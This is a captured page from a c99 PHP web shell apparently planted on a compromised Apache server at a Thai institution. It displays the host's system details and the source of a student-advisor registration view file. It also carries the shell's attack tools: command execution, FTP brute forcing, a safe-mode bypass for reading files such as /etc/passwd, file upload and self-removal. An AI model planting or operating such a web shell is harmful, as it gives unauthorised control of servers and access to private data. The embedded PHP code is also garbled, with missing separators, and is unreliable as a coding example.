!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/application/views/eregis-13022565/   drwxrwxrwx
Free 50.99 GB of 127.8 GB (39.9%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     v_addAdv.php (3.73 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
$row_prs 
= isset($qu_prs) ? $qu_prs->row() : NULL;
?>
<table width="100%" align="center">
    <tr>
        <td>
            <div align="center">
            <?php echo form_open($this->config->item("rg_folder")."officer/adv_insert", array('id' => 'myform''name' => 'myform'));?>
            <table width="100%">
                <tr>
                    <td align="center"><span class="h" style="color:<?php echo $font_color_err;?>">เพิ่ม/แก้ไขนักศึกษาในที่ปรึกษา</span></td>
                </tr>
                <tr>
                    <td><br /></td>
                </tr>
                <tr>
                    <td><table class="szone">
                        <tr bgcolor="<?php echo $tr_color_even;?>">
                            <td class="coltd_szone"><span><b>อาจารย์ที่ปรึกษา</b></span></td>
                            <td><span><?php echo getval('name'$row_prs);?></span>
                            <input type="hidden" id="prsId" name="prsId" value="<?php echo getval('prsId'$row_prs);?>" /></td>
                        </tr>
                        <tr bgcolor="<?php echo $tr_color_even;?>">
                            <td class="coltd_szone"><span><b>ปีการศึกษา</b></span></td>
                            <td><span><?php echo $acY;?></span>
                            <input type="hidden" id="acY" name="acY" value="<?php echo $acY;?>" /></td>
                        </tr>
                        <tr bgcolor="<?php echo $tr_color_even;?>">
                            <td class="coltd_szone"><span><b>หลักสูตร</b></span></td>
                            <td>
<?php
                            $js 
"id=\"curId\" onChange=\"sendPost('myform', {'prsId':".getval('prsId'$row_prs).",'acY':".$acY.",'curId':this.value,'syId':".$syId."}, 'adv_input')\"";
                            echo 
form_dropdown('curId'$rs_cur$curId$js);
?>
                            </td>
                        </tr>
                        <tr bgcolor="<?php echo $tr_color_even;?>">
                            <td class="coltd_szone"><span>ชั้นปี</span></td>
                            <td>
<?php
                            $js 
"id=\"syId\" onChange=\"sendPost('myform', {'prsId':".getval('prsId'$row_prs).",'acY':".$acY.",'curId':".$curId.",'syId':this.value}, 'adv_input')\"";
                            echo 
form_dropdown('syId'$rs_sy$syId$js);
?>
                            </td>
                        </tr>
                    </table></td>
                </tr>
                <tr>
                    <td><br /></td>
                </tr>
                <tr>
                    <td><table class="headCol">
                        <tr>
                            <th class="editCol"><span>เลือก</span></th>
                            <th class="stdCodeCol"><span>รหัสนักศึกษา</span></th>
                            <th><span>ชื่อ-สกุลนักศึกษา</span></th>
                        </tr>
<?php
                        $i 
0;
                        foreach (
$rs_std->result() as $row_std) {
                            echo 
"<tr onmouseover=\"bgColor='".$tr_color_even."'\" onmouseout=\"bgColor='".$this->config->item("rg_mouseout")."'\">";
?>
                            <td align="center" height="22">
<?php
                            $default 
is_null($row_std->advStdId) ? FALSE TRUE;
                            echo 
form_checkbox('order'.$i$row_std->stdId$default);
?>
                            </td>
                            <td align="center"><span><?php echo $row_std->stdCode;?></span>
                            <input type="hidden" id="stdId<?php echo $i;?>" name="stdId<?php echo $i;?>" value="<?php echo $row_std->stdId;?>" /></td>
                            <td class="indent"><span><?php echo $row_std->prefixName.$row_std->stdName.' '.$row_std->stdSurname;?></span></td>
                        </tr>
<?php
                            $i
++;
                        }

                        if (
$i == 0) {
?>
                        <tr>
                            <td colspan="3" align="center"><span style="color:<?php echo $font_color_err;?>">** ไม่ปรากฏรายชื่อนักศึกษาในที่ปรึกษาในฐานข้อมูล **</span></td>
                        </tr>
<?php
                        
}
?>
                    </table></td>
                </tr>
                <tr align="center">
                    <td><input type="submit" id="btnSubmit" name="btnSubmit" value="บันทึก" <?php echo ($i) ? '' 'disabled';?> />
                    <input type="hidden" id="cnt" name="cnt" value="<?php echo $i;?>" /></td>
                </tr>
            </table><?php echo form_close();?></div>
        <br></td>
    </tr>
</table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0144 ]--